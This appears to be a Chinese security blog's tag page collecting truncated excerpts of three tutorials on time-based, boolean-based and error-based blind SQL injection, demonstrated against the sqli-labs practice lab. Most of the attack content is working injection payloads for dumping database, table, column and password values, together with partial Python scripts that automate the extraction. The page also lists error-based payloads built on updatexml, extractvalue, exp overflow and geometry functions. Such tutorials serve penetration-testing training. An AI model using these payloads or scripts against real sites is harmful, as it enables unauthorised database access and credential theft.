Tag:sql盲注

Tag (sql盲注)'s result:

sql盲注之时间盲注

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。 0x01 时间盲注原理 由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。 先整理几个基本函数: if(1,2,3):如果1真,则执行2,否则执行3 Sleep(x):执行延迟x秒 Benchmark(x,1):执行表达式1,x次(会消耗cpu,慎用!)   0x02 测试 Sqli-labs less-6: 这里尝试时间盲注。 1. 爆数据库名: 192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+ 当>115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s。 同理判断其余字符,最后得出数据库名security。 2. 爆表名: 2.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>101,1,sleep(3))–+ >101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。 3. 爆列名: 3.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1))>105,1,sleep(3))–+ >105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password。 4. 爆数据: 4.192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))–+ >68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。   0x03 时间盲注脚本 只完成爆出数据库名,其余数据根据需要更改即可。 #coding:utf-8 #Author:LSA #Description:Time based sqli script for sqli-labs less 6 #Data:20180108 import requests import time import string import sys headers = {“user-agent”:”Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)”} chars = ‘abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.’ database = ” global length for l in range(1,20): lengthUrl = ‘http://192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(length(database())>{0},1,sleep(3))–+’ lengthUrlFormat = lengthUrl.format(l) start_time0 = time.time() rsp0 = requests.get(lengthUrlFormat,headers=headers) if time.time() – start_time0 > 2.5: print ‘database length is ‘ + str(l) global length length = l break else: pass for i in range(1,length+1): for char in chars: charAscii = ord(char) url = ‘http://192.168.101.251:8999/sqli-labs/Less-6/?id=1″ and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))–+’ urlformat = url.format(i,charAscii) start_time = time.time() rsp = requests.get(urlformat,headers=headers) if time.time() – start_time > 2.5: database+=char print ‘database: ‘,database……

sql盲注之布尔盲注

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第二篇,介绍盲注中的布尔盲注。   0x01 布尔盲注原理 关注于sql语句是否执行成功,而页面只返回true或false。 主要函数: left(x,y): 获取x的前y位。 substr(x,y,z): 获取y的从x开始的z位。 ascii()/ord(): 得字符的ascii值。 length(): 返回字符串长度。 ……   0x02 测试 Sqli-labs: less-8 1.判断注入 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ 返回false,不加’则返回true,由此判断为布尔盲注。 2. 猜解数据库名长度 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and length(database())=8–+ =8返回true则说明数据库长度为8,用二分法逐步缩小猜测范围。 3. 猜解数据库名 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr(database(),1,1)))=115–+ =115返回true,说明数据库名第一个字符ascii值115,即s,同理用二分法猜解余下7位字符,把1,1改2,1即可猜第二位字符,结果为security。 4. 猜解security第一个表名 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)))=101–+ =101返回true,说明security库第一个表名第一个字符为e,同理猜解出余下字符,猜解第二个表名则把limit 0,1改limit 1,1即可。(判断表名是否结束可以用>0判断,如果大于0都false则表示这个/所有表名猜解完了) 5. 猜解users表的第一个列名: 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1,1)))=105–+ 返回true,则说明第一个列名的第一个字符为i,同理猜解余下的所有列名,有id,username,password 6. 猜解数据 192.168.101.225:8999/sqli-labs/Less-8/?id=1′ and (ascii(substr((select password from users limit 0,1),1,1)))=68–+ =68返回true,说明第一个password数据的第一个字符是D,同理猜解余下的字符,为Dumb。   0x03 布尔盲注脚本 #coding:utf-8 #Author:LSA #Description:blind sqli boolean base script #Date:20171226 import requests import re import binascii import optparse import sys fdata = [] chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_’ def judge_vulnable(url): normal_rsp_length = requests.get(url).headers[‘content-length’] vuln_url = url + “‘” vuln_rsp_length = requests.get(vuln_url).headers[‘content-length’] if normal_rsp_length!=vuln_rsp_length: print ‘The url is vulnable!’ else: print ‘The url seems not vulnable’ def getDatabasesNum(url): for dbsNum in xrange(1,20): dbs_num_length_url = url + “‘ and (select length((select distinct table_schema from information_schema.tables limit {0},1)))>0–+” dbs_num_length_url_format = dbs_num_length_url.format(dbsNum) dbs_num_rsp_length = requests.get(dbs_num_length_url_format).headers[‘content-length’] if dbs_num_rsp_length == ‘722’: print ‘***Databases num is ‘ + str(dbsNum) + ‘***’ return dbsNum def getDatabases(url): databases = [] databasesNum = getDatabasesNum(url) for databaseIndex……

sql盲注之报错注入

0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入。   0x01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新。 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息。 关键是查询时会建立临时表存储数据,不存在键值就插入,group by使插入前rand()会再执行一次,存在就直接值加1,下面以rand(0)简述原理: 首先看看接下来会用到的几个函数 Count()计算总数 Concat()连接字符串 Floor()向下取整数 Rand()产生0~1的随机数 rand(0)序列是011011 1. 查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。 2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。 3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。 由上述可得,表中必须存在大于等于3条记录才会产生报错,实测也如此。 一些报错查询语句(相当于套公式): 假设字段数是3 经典语句: union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+ version()可以替换为需要查询的信息。 简化语句: union select 1,2,count(*)  from information_schema.columns group by concat(version(),floor(rand(0)*2));–+ 如果关键的表被禁用了,可以使用这种形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 如果rand被禁用了可以使用用户变量来报错 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)   Sqli-labs less5测试: 1. 获取库名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 2.获取表名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 3. 获取列名: 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 4. 爆数据 192.168.43.173:8999/sqli-labs/less-5/?id=1′ Union select 1,count(*),concat((select password from users limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;–+ 2. Xpath报错: 主要的两个函数: Mysql5.1.5 1. updatexml():对xml进行查询和修改 2. extractvalue():对xml进行查询和修改 都是最大爆32位。 and updatexml(1,concat(0x26,(version()),0x26),1); and (extractvalue(1,concat(0x26,(version()),0x26))); Sqli-lab less5测试: Updatexml(): 192.168.43.173:8999/sqli-labs/less-5/?id=1′ and updatexml(1,concat(0x26,database(),0x26),1);–+ Extractvalue(): 192.168.43.173:8999/sqli-labs/less-5/?id=1′ and extractvalue(1,concat(0x26,database(),0x26));–+ 3. 整形溢出报错: Mysql>5.5.5 主要函数: exp(x):计算e的x次方 Payload: and (EXP(~(select * from(select version())a))); Exp()超过710会产生溢出。 将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。 4. 数据重复报错: Mysql低版本 payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x   5. 其余报错: GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * from(select user())a)b)) multipoint() id = 1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring() id = 1 AND multilinestring((select * from(select * from(select user())a)b)) linestring() id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b))   0x02 报错注入脚本 依据sqli-lab less-5写的自动化注入脚本,实战再根据具体情况修改即可,盲注还是写脚本方便点。 #coding:utf-8 #Author:LSA #Description:blind sqli error base script #Date:20171222 import sys import requests import re import binascii from termcolor import * import optparse fdata = []……